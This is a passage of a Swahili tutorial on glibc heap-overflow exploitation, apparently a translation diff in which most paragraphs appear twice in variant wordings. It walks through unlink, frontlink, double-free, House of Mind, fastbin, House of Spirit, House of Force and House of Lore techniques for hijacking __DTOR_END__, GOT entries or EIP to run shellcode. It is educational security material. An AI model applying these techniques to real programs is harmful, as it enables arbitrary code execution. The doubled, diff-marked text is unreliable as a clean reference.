Katika chunk c, shellcode inawekwa
Katika kifungu c shellcode inawekwa
Chunk a tunatumia kusajili b ili kubadilisha ukubwa ili biti ya PREV\_INUSE iwe imezimwa ili iweze kufikiri chunk a iko wazi.
Tunatumia kifungu a kusajili b ili ukubwa uwe na biti ya PREV\_INUSE iliyozimwa ili iweze kufikiria kwamba kifungu a kiko huru.
Zaidi ya hayo, ukubwa unabadilishwa kwenye kichwa cha b ili iwe -4.
Zaidi ya hayo, tunasajili kichwa cha b ukubwa uwe -4.
Kwa hivyo, programu itafikiri "a" iko wazi na kwenye bin, kwa hivyo itaita unlink() kuiondoa. Walakini, kwa kuwa kichwa cha PREV\_SIZE ni -4. Itafikiri kwamba kipande cha "a" kwa kweli kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kipande kinachoanza kwenye b+4, kwa hivyo kwenye b+12 kutakuwa na pointer "fd" na kwenye b+16 kutakuwa na pointer "bk".
Kwa hiyo, programu itafikiria "a" iko huru na kwenye benki, hivyo itaita unlink() kuiondoa. Hata hivyo, kwa sababu kichwa cha PREV\_SIZE ni -4. Itafikiria kwamba kifungu cha "a" kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kifungu kinachoanza kwenye b+4, kwa hivyo kwenye b+12 kutakuwa na pointer "fd" na kwenye b+16 kutakuwa na pointer "bk".
Kwa njia hii, tukiweka anwani ya shellcode kwenye bk na anwani ya kazi ya "puts()" -12 kwenye fd tunapata payload yetu.
**Mbinu ya Frontlink**
Frontlink inaitwa wakati kitu kinapofutwa na hakuna vipande vyake vya jirani vilivyo wazi, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.
Frontlink inaitwa wakati kitu kinahifadhiwa na hakuna vifungu vyake vya pembeni vinavyo huru, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.
Udhaifu ni muhimu wakati malloc inayoshambuliwa kamwe haiachi (free()).
Udhaifu ni muhimu wakati malloc inayoshambuliwa kamwe haiachiwi (free()).
Inahitaji:
Buffer ambalo linaweza kufurika na kazi ya kuingiza data
Buffer ambalo linaweza kufurika na kuingiza data
Buffer unaoambatana na huu ambao unapaswa kufutwa na ambao shamba la fd la kichwa chake litabadilishwa kwa sababu ya kufurika kwa buffer uliopita
Buffer unaoambatana na huu ambao unapaswa kuachiliwa na ambao shamba la fd la kichwa chake litabadilishwa kwa sababu ya kufurika kwa buffer uliopita
Buffer ya kufutwa na ukubwa mkubwa kuliko 512 lakini ndogo kuliko buffer uliopita
Buffer la kuachiliwa na ukubwa mkubwa kuliko 512 lakini ndogo kuliko buffer uliopita
Buffer iliyotangazwa kabla ya hatua ya 3 ambayo inaruhusu kufuta prev\_size yake
Buffer uliotangazwa kabla ya hatua ya 3 ambayo inaruhusu kubadilisha prev\_size yake
Kwa njia hii, kwa kufanikiwa kufuta katika mallocs mbili kwa njia isiyo na kudhibitiwa na moja kwa njia inayodhibitiwa lakini inayofutwa tu, tunaweza kufanya shambulio.
Kwa njia hii tunaweza kufanikiwa kufurika kwenye mallocs mbili kwa njia isiyo na kudhibitiwa na moja kwa njia iliyodhibitiwa lakini ni ile tu inayohifadhiwa, tunaweza kufanya shambulio.
**Udhaifu wa double free()**
Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria kwa anwani ile ile.
Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria anwani ile ile.
Ikiwa unataka kutumia moja tena, itapewa bila shida. Ikiwa unataka kutumia nyingine, itapewa nafasi ile ile kwa hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayowekwa na akiba ya awali.
Ikiwa unataka kutumia moja tena, unaweza kuipata bila shida. Ikiwa unataka kutumia nyingine, itapewa nafasi ile ile kwa hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayohifadhiwa awali.
**Baada ya free()**
Pointer iliyofutwa awali inatumika tena bila kudhibitiwa.
Pointer iliyotolewa awali inatumika tena bila kudhibitiwa.
## **8 Mafuriko ya Heap: Exploits ya juu**
@ -419,7 +316,7 @@ Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().
**The house of mind**
Wito mmoja tu wa free() unahitajika kusababisha utekelezaji wa nambari ya aina yoyote. Ni muhimu kutafuta kipande cha pili ambacho kinaweza kufurikwa na kimoja kilichotangulia na kufutwa.
Ni wito mmoja tu wa free() unahitajika kusababisha utekelezaji wa nambari ya aina yoyote. Ni muhimu kutafuta kifungu cha pili ambacho kinaweza kufurika na kifungu cha kwanza na kuhifadhiwa.
Wito wa free() husababisha wito wa public\_fREe(mem), hii inafanya:
@ -429,7 +326,7 @@ mchunkptr p;
…
p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kipande kinaanza (mem-8)
p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kifungu kinaanza (mem-8)
…
@ -441,11 +338,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
Katika \[1] inachunguza shamba la ukubwa la NON\_MAIN\_ARENA, ambalo linaweza kubadilishwa ili uhakiki urudiwe kweli na kutekeleza heap\_for\_ptr() ambayo inafanya and kwa "mem" ikiiacha 0.5 bytes ya chini zaidi (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar\_ptr (kama vile ni muundo wa struct heap\_info)
Katika \[1] inathibitisha shamba la ukubwa NON\_MAIN\_ARENA, ambalo linaweza kubadilishwa ili uhakiki urudiwe kweli na kutekeleza heap\_for\_ptr() ambayo inafanya and kwa "mem" ikiiacha 0 kwa bytes 2.5 zisizo muhimu (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar\_ptr (kama ilivyo muundo wa struct heap\_info)
Kwa njia hii, ikiwa tunaweza kudhibiti kipande kwa mfano kwenye 0x0804a000 na kipande kitafutwa kwenye **0x081002a0** tunaweza kufikia anwani ya 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kipande cha pili kitakapofutwa, itagundua kwamba heap\_for\_ptr(ptr)->ar\_ptr inarudi kile tulichoandika kwenye 0x08100000 (kwa sababu inatumia and kama ilivyoonekana hapo awali na kutoka hapo inachukua thamani ya bytes 4 za kwanza, ar\_ptr)
Kwa njia hii, ikiwa tunaweza kudhibiti kifungu kwa mfano kwenye 0x0804a000 na kifungu kitahifadhiwa kwenye **0x081002a0** tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kifungu cha pili kitakapohifadhiwa kitagundua kwamba heap\_for\_ptr(ptr)->ar\_ptr inarudi kile tulichoandika kwenye 0x08100000 (kwa sababu inatumia and kama ilivyoonekana hapo awali na kutoka hapo inachukua thamani ya bytes 4 za kwanza, ar\_ptr)
Kwa njia hii, wito wa \_int\_free(ar\_ptr, mem) unaitwa, yaani, **\_int\_free(0x0804a000, 0x081002a0)**\
Kwa njia hii wito wa \_int\_free(ar\_ptr, mem) unaitwa, yaani, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
@ -457,33 +354,31 @@ fwd->bk = p;
..}
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kipande kitakachofutwa.
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kifungu kitakachohifadhiwa.
Kama ilivyoelezwa katika unsorted\_chunks, tunajua kwamba:\
Kama ilivyoainishwa unsorted\_chunks, tunajua kwamba:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Kwa hivyo ikiwa tunaweza kuandika thamani ya \_\_DTOR\_END\_\_-12 kwenye av->bins\[2] katika maagizo ya mwisho itaandikwa kwenye \_\_DTOR\_END\_\_ anwani ya kipande cha pili.
Kwa hivyo ikiwa tunaweza kuandika thamani ya \_\_DTOR\_END\_\_-12 kwenye av->bins\[2] katika maagizo ya mwisho itaandikwa kwenye \_\_DTOR\_END\_\_ anwani ya kifungu cha pili.
Yaani, kwenye kipande cha kwanza tunapaswa kuweka mwanzoni mara nyingi anwani ya \_\_DTOR\_END\_\_-12 kwa sababu hiyo ndio av->bins\[2] itakayochukua.
Yaani, kwenye kifungu cha kwanza tunapaswa kuweka anwani ya \_\_DTOR\_END\_\_-12 mara nyingi mwanzoni kwa sababu ndio av->bins\[2] itakayochukua. Kwenye anwani ambayo itaanguka anwani ya kifungu cha pili na sifuri tano za mwisho tunapaswa kuandika anwani ya kifungu cha kwanza ili heap\_for\_ptr() iweze kufikiria kwamba ar\_ptr iko mwanzoni mwa kifungu cha kwanza na kutoka hapo itachukua av->bins\[2]
Katika sehemu ya pili na kwa msaada wa ya kwanza, tunaweza kubadilisha prev\_size na jump 0x0c na size na kitu cha kuchochea -> NON\_MAIN\_ARENA
Kwenye anwani ambayo anwani ya kipande cha pili itaanguka na sifuri za mwisho tano, tunapaswa kuandika anwani ya kipande cha kwanza ili heap\_for\_ptr() iweze kufikiria kwamba ar\_ptr iko mwanzoni mwa kipande cha kwanza na kuchukua av->bins\[2] kutoka hapo
Kisha katika sehemu ya pili tunaweka nops nyingi na mwishowe shellcode
Kwenye kipande cha pili na kwa msaada wa kwanza tunabadilisha prev\_size na jump 0x0c na ukubwa na kitu cha kuamsha -> NON\_MAIN\_ARENA
Hivyo itaita \_int\_free(TROZO1, TROZO2) na kufuata maagizo ya kuandika kwenye \_\_DTOR\_END\_\_ anwani ya prev\_size ya TROZO2 ambayo itaruka kwa shellcode.
Kisha kwenye kipande cha pili tunaweka nyingi za nops na mwishowe shellcode
Kutekeleza mbinu hii kuna mahitaji kadhaa ambayo yanafanya payload kuwa ngumu kidogo.
Kwa njia hii, wito wa \_int\_free(TROZO1, TROZO2) utaitwa na itaendelea na maagizo ya kuandika kwenye \_\_DTOR\_END\_\_ anwani ya prev\_size ya TROZO2 ambayo itaruka kwenye shellcode.
Ili kutumia mbinu hii, mahitaji fulani lazima yatimizwe ambayo yanafanya payload kuwa ngumu kidogo zaidi.
Mbinu hii sasa haitekelezeki kwa sababu karibu na hilo, kipande cha programu kilichotumika kwa unlink kilitumika. Wanalinganisha ikiwa tovuti mpya inayolengwa pia inalenga kwao.
Mbinu hii sio tena inayoweza kutumika kwa sababu ilipata marekebisho sawa na yale ya unlink. Inalinganisha ikiwa eneo jipya linalolengwa pia linamlenga.
**Fastbin**
Ni aina ya The house of mind
Ni toleo la The house of mind
Tunataka kutekeleza kanuni ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi \_int\_free()
Tunataka kufikia kutekeleza kanuni ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi ya \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Ikiwa fastbin\_index(sz) —> (sz >> 3) - 2
@ -493,124 +388,137 @@ p->fd = \*fb
\*fb = p
Kwa njia hii, ikiwekwa kwenye "fb" inatoa anwani ya kazi kwenye GOT, kwenye anwani hii anwani ya kipande kilichobadilishwa itawekwa. Kwa hili, itakuwa muhimu kwamba uwanja uko karibu na anwani za dtors. Hasa, av->max\_fast iko kwenye anwani ambayo tunataka kubadilisha.
Hivyo, ikiwa tunaweka "fb" kwenye anwani ya kazi katika GOT, kwenye anwani hii tutaweka anwani ya trozo iliyobadilishwa. Kwa hili, ni muhimu kwamba uwanja uko karibu na anwani za dtors. Hasa, av->max\_fast iko kwenye anwani tunayotaka kubadilisha.
Kwa kuwa na The House of Mind tuliona kwamba sisi tulidhibiti nafasi ya av.
Kwa kuwa The House of Mind ilionyesha kwamba sisi tulikuwa tunadhibiti nafasi ya av.
Kwa hivyo, ikiwa tunaweka ukubwa wa 8 + NON\_MAIN\_ARENA + PREV\_INUSE kwenye uga wa ukubwa —> fastbin\_index() itarudisha fastbins\[-1], ambayo italenga av->max\_fast
Kwa hivyo, ikiwa tunaweka ukubwa wa 8 + NON\_MAIN\_ARENA + PREV\_INUSE kwenye uga wa size -> fastbin\_index() itarudisha fastbins\[-1], ambayo italenga av->max\_fast
Katika kesi hii av->max\_fast itakuwa anwani ambayo itabadilishwa (sio anwani ambayo inalengwa, lakini nafasi hiyo itabadilishwa).
Katika kesi hii, av->max\_fast itakuwa anwani itakayobadilishwa (sio anwani inayolengwa, lakini nafasi hiyo ndio itakayobadilishwa).
Pia, kipande kinachopakana na kile kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 8, kwenye kipande hiki bandia tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itaenda kwenye kipande kilichofutwa, itabidi tuweke mwanzoni mwa jmp ambayo itaanguka kwenye nops).
Pia, lazima trozo linalopakana na lile lililowekwa huru liwe kubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa trozo lililowekwa huru ni 8, katika trozo hili la uwongo tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye trozo lililowekwa huru, hivyo lazima tuweke jump mwanzoni ambao utaanguka kwenye nops).
Pia, kipande hicho bandia lazima kiwe kidogo kuliko av->system\_mem. av->system\_mem iko 1848 bytes mbali.
Zaidi ya hayo, trozo hilo la uwongo linapaswa kuwa dogo kuliko av->system\_mem. av->system\_mem iko 1848 bytes mbali.
Kwa sababu ya nulls za \_DTOR\_END\_ na anwani chache kwenye GOT, hakuna anwani kutoka sehemu hizi zinazofaa kubadilishwa, kwa hivyo tuone jinsi ya kutumia fastbin kushambulia safu.
Kwa sababu ya nulls katika \_DTOR\_END\_ na idadi ndogo ya anwani katika GOT, hakuna anwani kutoka sehemu hizi zinazofaa kubadilishwa, hivyo tuchunguze jinsi ya kutumia fastbin kushambulia safu.
Njia nyingine ya shambulio ni kuelekeza **av** kuelekea safu.
Ikiwa tunabadilisha ukubwa ili iwe 16 badala ya 8 basi: fastbin\_index() itarudisha fastbins\[0] na tunaweza kutumia hii kubadilisha safu.
Ikiwa tunabadilisha ukubwa ili uwe 16 badala ya 8 basi: fastbin\_index() itarudisha fastbins\[0] na tunaweza kutumia hii kubadilisha safu.
Kwa hili, hakuna canary au thamani za ajabu kwenye safu, kwa kweli tunapaswa kuwa katika hali hii: 4bytes za null + EBP + RET
Kwa hili, hakuna canary au thamani za ajabu kwenye safu, kwa kweli tunahitaji kuwa katika hali hii: 4bytes za null + EBP + RET
4bytes za null zinahitajika ili **av** iwe kwenye anwani hii na kipengele cha kwanza cha **av** ni mutex ambayo lazima iwe 0.
4 bytes za null zinahitajika ili **av** iwe kwenye anwani hii na kipengele cha kwanza cha **av** ni mutex ambayo lazima iwe 0.
**av->max\_fast** itakuwa EBP na itakuwa thamani ambayo itatusaidia kusonga vizuizi.
**av->max\_fast** itakuwa EBP na itakuwa thamani itakayotusaidia kusonga mbele.
Kwenye **av->fastbins\[0]** itabadilishwa na anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
Katika **av->fastbins\[0]** itabadilishwa na anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
Pia, kwenye **av->system\_mem** (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kusonga ukaguzi uliofanywa.
Zaidi, katika **av->system\_mem** (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kusonga mbele kwa ukaguzi uliofanywa.
Pia, kipande hicho bandia lazima kiwe kikubwa kuliko kipande kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 16, kwenye kipande hiki bandia tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itaenda kwenye kipande kilichofutwa, itabidi tuweke mwanzoni mwa jmp ambayo itaanguka kwenye nops zinazofuata baada ya uga wa ukubwa wa kipande kipya bandia).
Pia, lazima trozo linalopakana na lile lililowekwa huru liwe kubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa trozo lililowekwa huru ni 16, katika trozo hili la uwongo tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye trozo lililowekwa huru, hivyo lazima tuweke jump mwanzoni ambao utaanguka kwenye nops zilizo baada ya uga wa size wa trozo jipya la uwongo).
**The House of Spirit**
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye stack chini ya overflow inayowezekana kwa kipengee).
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye stack chini ya overflow inayowezekana kwa variable).
Hivyo, tunaweza kufanya pointer huu uelekee popote. Walakini, sio kila eneo ni sahihi, ukubwa wa kipande bandia lazima uwe mdogo kuliko av->max\_fast na haswa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa kuharibika kuna wito wa malloc(40), ukubwa wa kipande bandia lazima uwe sawa na 48.
Hivyo, tunaweza kufanya pointer huu uelekee popote. Hata hivyo, sio kila eneo ni sahihi, ukubwa wa trozo iliyobadilishwa lazima iwe ndogo kuliko av->max\_fast na hasa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa hatari kuna wito wa malloc(40), ukubwa wa trozo iliyobadilishwa lazima iwe sawa na 48.
Kwa mfano, ikiwa programu itauliza mtumiaji nambari tunaweza kuingiza 48 na kuuelekeza pointer wa malloc uliobadilishwa kwa 4bytes zifuatazo (ambazo zinaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha ukubwa). Kwa kuongezea, anwani ptr-4+48 lazima itimize masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system\_mem.
Kwa mfano, ikiwa programu itauliza mtumiaji nambari tunaweza kuingiza 48 na kuuelekeza pointer wa malloc uliobadilishwa kwa 4bytes zifuatazo (ambazo zinaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha ukubwa). Zaidi, anwani ptr-4+48 lazima izingatie masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system\_mem.
Ikiwa hii itatimizwa, wakati wito ufuatao wa malloc ambao tulisema ni malloc(40) unaitwa, anwani yake itakuwa anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii, anaweza kubadilisha EBP na EIP na anwani anayotaka.
Ikiwa hii itatimizwa, wakati wito ujao wa malloc ambao tulisema ni malloc(40) utaitwa, anwani itakayopewa itakuwa anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii anaweza kubadilisha EBP na EIP na anwani anayotaka.
Nadhani hii ni kwa sababu wakati free() inafuta itahifadhi kwamba kuna kipande cha ukubwa kamili kwa malloc() mpya inayotaka kuhifadhi, kwa hivyo inamwekea anwani hiyo.
Nadhani hii ni kwa sababu wakati free() inaitwa itahifadhi kwamba kuna trozo la ukubwa kamili kwa malloc() mpya inayotaka kuweka akiba kwenye anwani inayoelekeza EBP ya stack, hivyo inampa anwani hiyo.
**The House of Force**
Inahitajika:
* Kuharibika kwa kipande ambacho inaruhusu kubadilisha wilderness
* Kujaza kwa trozo ambalo inaruhusu kubadilisha wilderness
* Wito wa malloc() na ukubwa uliowekwa na mtumiaji
* Wito wa malloc() ambao data yake inaweza kuwekwa na mtumiaji
* Wito wa malloc() ambao data zake zinaweza kufafanuliwa na mtumiaji
Jambo la kwanza linalofanywa ni kubadilisha ukubwa wa kipande cha wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa kutosha litashughulikiwa katika \_int\_malloc() bila haja ya kupanua heap
Jambo la kwanza ni kubadilisha ukubwa wa trozo la wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la ukubwa wa kutosha litashughulikiwa katika \_int\_malloc() bila haja ya kupanua heap
Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama stack. Av->top itawekwa \&EIP - 8.
Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama stack. Katika av->top tutaweka \&EIP - 8.
Tunapaswa kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:
Tunahitaji kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:
mlemavu = av->top;
victim = av->top;
mabaki = chunck\_at\_offset(mlemavu, nb);
remainder = chunck\_at\_offset(victim, nb);
av->top = mabaki;
av->top = remainder;
Mlemavu hukusanya thamani ya anwani ya kipande cha wilderness cha sasa (av->top ya sasa) na mabaki ni haswa jumla ya anwani hiyo plus idadi ya bytes zilizoombwa na malloc(). Kwa hivyo ikiwa \&EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi kiasi tunachohitaji kuweka kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() ijayo itakuwa:
Victim inachukua thamani ya anwani ya trozo la wilderness la sasa (av->top ya sasa) na remainder ni hasa jumla ya anwani hiyo na idadi ya bytes zilizoombwa na malloc(). Kwa hivyo, ikiwa \&EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi idadi ya bytes tunayopaswa kuweka akiba kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() ijayo itakuwa:
0xbffff224 - 0x080c2788 = 3086207644.
Kwa hivyo thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc ijayo itaelekeza kwa EIP na inaweza kubadilishwa.
Hivyo, thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc ijayo itaelekeza kwa EIP na itaweza kubadilishwa.
Ni muhimu kujua kwamba ukubwa wa kipande kipya cha wilderness uwe mkubwa kuliko ombi lililofanywa na malloc la mwisho. Yaani, ikiwa wilderness inaelekeza kwa \&EIP-8, ukubwa utabaki kwenye uga wa EBP wa stack.
Ni muhimu kujua kwamba ukubwa wa trozo jipya la wilderness uwe mkubwa kuliko ombi lililofanywa na malloc() la mwisho. Yaani, ikiwa wilderness inaelekeza kwa \&EIP-8, ukubwa utabaki kwenye uga wa EBP wa stack.
**The House of Lore**
**Uharibifu wa SmallBin**
**Corruption SmallBin**
Vipande vilivyofutwa vinawekwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuwekwa, vinahifadhiwa kwenye unsorted bins. Kipande kilichofutwa hakijawekwa moja kwa moja kwenye bin yake bali kinabaki kwenye unsorted bins. Kisha, ikiwa kipande kipya kinahitajika na kipande kilichofutwa kinaweza kutumika, kinarudishwa, lakini ikiwa kipande kikubwa zaidi kinahitajika, kipande kilichofutwa kwenye unsorted bins kinawekwa kwenye bin yake sahihi.
Trozo zilizowekwa huru huingizwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa, zinahifadhiwa kwenye unsorted bins. Trozo lililowekwa huru halijiweki moja kwa moja kwenye bin yake bali linabaki kwenye unsorted bins. Kisha, ikiwa trozo jipya linaweza kutumika kwa trozo lililowekwa huru, linarudishwa, lakini ikiwa trozo jipya ni kubwa zaidi, trozo lililowekwa huru kwenye unsorted bins linawekwa kwenye bin yake sahihi.
Ili kufikia kanuni inayoweza kuharibika, ombi la kumbukumbu lazima liwe kubwa kuliko av->max\_fast (kawaida 72) na chini ya MIN\_LARGE\_SIZE (512).
Ili kufikia kanuni ya kuharibika, ombi la kumbukumbu lazima liwe kubwa kuliko av->max\_fast (kawaida 72) na chini ya MIN\_LARGE\_SIZE (512).
Ikiwa kuna kipande cha ukubwa unaofaa katika bin, basi kitapelekwa baada ya kufunguliwa:
Ikiwa kuna kipande kwenye bin lenye ukubwa unaofaa kwa ombi, kipande hicho kitarudishwa baada ya kufunguliwa:
bck = victim->bk; Inaelekeza kwa kipande kilichotangulia, hii ndio habari pekee tunayoweza kubadilisha.
bck = mlemavu->bk; Inaelekeza kwenye kipande kilichotangulia, hii ndio habari pekee tunayoweza kubadilisha.
bin->bk = bck; Kipande cha pili kutoka mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwa stack kwa kipande kinachofuata kilichoreswa, itapewa anwani hii
bin->bk = bck; Kipande cha pili kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack, kipande kifuatacho kinachotengwa kitapewa anwani hii
bck->fd = bin; Orodha inafungwa kwa kufanya hii ielekee kwa bin
bck->fd = bin; Orodha inafungwa kwa kufanya hii ielekee bin
Inahitajika:
Reserve malloc mbili, ili ya kwanza iweze kufanya overflow baada ya ya pili kuwa imeachiliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko ya pili kabla ya kufanya overflow)
Malloc iliyoreserviwa ambayo inapewa anwani iliyochaguliwa na mshambuliaji inadhibitiwa na mshambuliaji.
Kuweka malloc mbili, ili ya kwanza iweze kufanya overflow baada ya ya pili kuwa imeachiliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya overflow)
Lengo ni, ikiwa tunaweza kufanya overflow kwa heap ambayo ina sehemu iliyofunguliwa chini yake na kwenye bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na sehemu hii inakuwa ya kwanza kwenye orodha ya bin na kuhifadhiwa, bin itadanganywa na kuelezwa kuwa sehemu ya mwisho ya orodha (inayofuata kutoa) iko kwenye anwani ya uwongo tuliyoweka (kwenye stack au GOT kwa mfano). Kwa hivyo, ikiwa sehemu nyingine itahifadhiwa na mshambuliaji ana ruhusa ndani yake, atapewa sehemu kwenye nafasi inayotakiwa na ataweza kuandika ndani yake.
Malloc iliyowekwa ambayo inapewa anwani iliyochaguliwa na mshambuliaji inadhibitiwa na mshambuliaji.
Baada ya kufungua sehemu iliyobadilishwa, ni muhimu kuhifadhi sehemu kubwa kuliko ile iliyofunguliwa, ili sehemu iliyobadilishwa itoke kwenye unsorted bins na iingizwe kwenye bin yake.
Lengo ni kama ifuatavyo, ikiwa tunaweza kufanya overflow kwa heap ambayo ina kipande kilichofunguliwa chini yake na kwenye bin yake, tunaweza kubadilisha pointer yake ya bk. Ikiwa tunabadilisha pointer yake ya bk na kipande hiki kinakuwa cha kwanza kwenye orodha ya bin na kisha kifunguliwe, bin itadanganywa na kuelezwa kuwa kipande cha mwisho kwenye orodha (kile kinachofuata) kipo kwenye anwani ya uwongo tuliyoweka (kwenye stack au GOT kwa mfano). Kwa hivyo, ikiwa kipande kingine kitafunguliwa na mshambuliaji ana ruhusa juu yake, atapewa kipande kwenye nafasi iliyokusudiwa na ataweza kuandika ndani yake.
Marafiki kwenye bin wanapaswa kusubiri hadi wito wa malloc() ufanyike mara kutosha ili bin iliyobadilishwa itumike tena na kudanganya bin ikiamini kwamba sehemu inayofuata iko kwenye anwani ya uwongo. Na kisha sehemu inayotakiwa itatolewa.
Baada ya kufungua kipande kilichobadilishwa, ni muhimu kuweka kipande kikubwa kuliko kilichofunguliwa, hivyo kipande kilichobadilishwa kitatoka kwa unsorted bins na kuingizwa kwenye bin yake.
Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Kuhifadhi sehemu inayoweza kudhuriwa, kuhifadhi sehemu itakayobadilishwa, kufungua sehemu hii, kuhifadhi sehemu kubwa kuliko ile itakayobadilishwa, kubadilisha sehemu (udhaifu), kuhifadhi sehemu ya ukubwa sawa na ile iliyovunjwa na kuhifadhi sehemu ya pili ya ukubwa sawa na hiyo na hii itakuwa ile itakayoelekeza kwenye anwani iliyochaguliwa.
Marafiki kwenye bin wanapaswa kusubiri hadi wito wa malloc() ufanyike mara kutosha ili bin iliyobadilishwa itumike tena na kudanganya bin kwa kufanya iamini kipande kinachofuata kipo kwenye anwani ya uwongo. Na kisha kipande tunachotaka kitatolewa.
Ili kulinda shambulio hili, uthibitisho wa kawaida kwamba sehemu "si" ni ya uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathiriwa. Yaani, katika kesi yetu ikiwa pointer wa fd\* wa sehemu ya uwongo iliyoelekezwa kwenye stack inaelekeza kwa mwathiriwa. Ili kuvuka kinga hii, mshambuliaji lazima aweze kuandika kwa njia fulani (labda kwa stack) kwenye anwani sahihi ya mwathiriwa. Ili ionekane kama sehemu ya kweli.
Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Kuweka kipande kinachoweza kudhurika, kuweka kipande ambacho kitabadilishwa, kuachilia kipande hiki, kuweka kipande kikubwa kuliko kitakachobadilishwa, kubadilisha kipande (udhaifu), kuweka kipande cha ukubwa sawa na kilichovunjwa na kuweka kipande cha pili cha ukubwa sawa na hicho na hiki ndicho kitakachoelekeza kwenye anwani iliyochaguliwa.
Ili kulinda shambulio hili, uthibitisho wa kawaida kwamba kipande "si" ni uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathiriwa. Yaani, katika kesi yetu ikiwa pointer fd\* wa kipande cha uwongo kilichoelekezwa kwenye stack inaelekeza kwa mwathiriwa. Ili kuvuka kinga hii, mshambuliaji lazima aweze kuandika kwa njia fulani (labda kwa stack) kwenye anwani sahihi ya mwathiriwa. Ili ionekane kama kipande cha kweli.
**Uharibifu wa LargeBin**
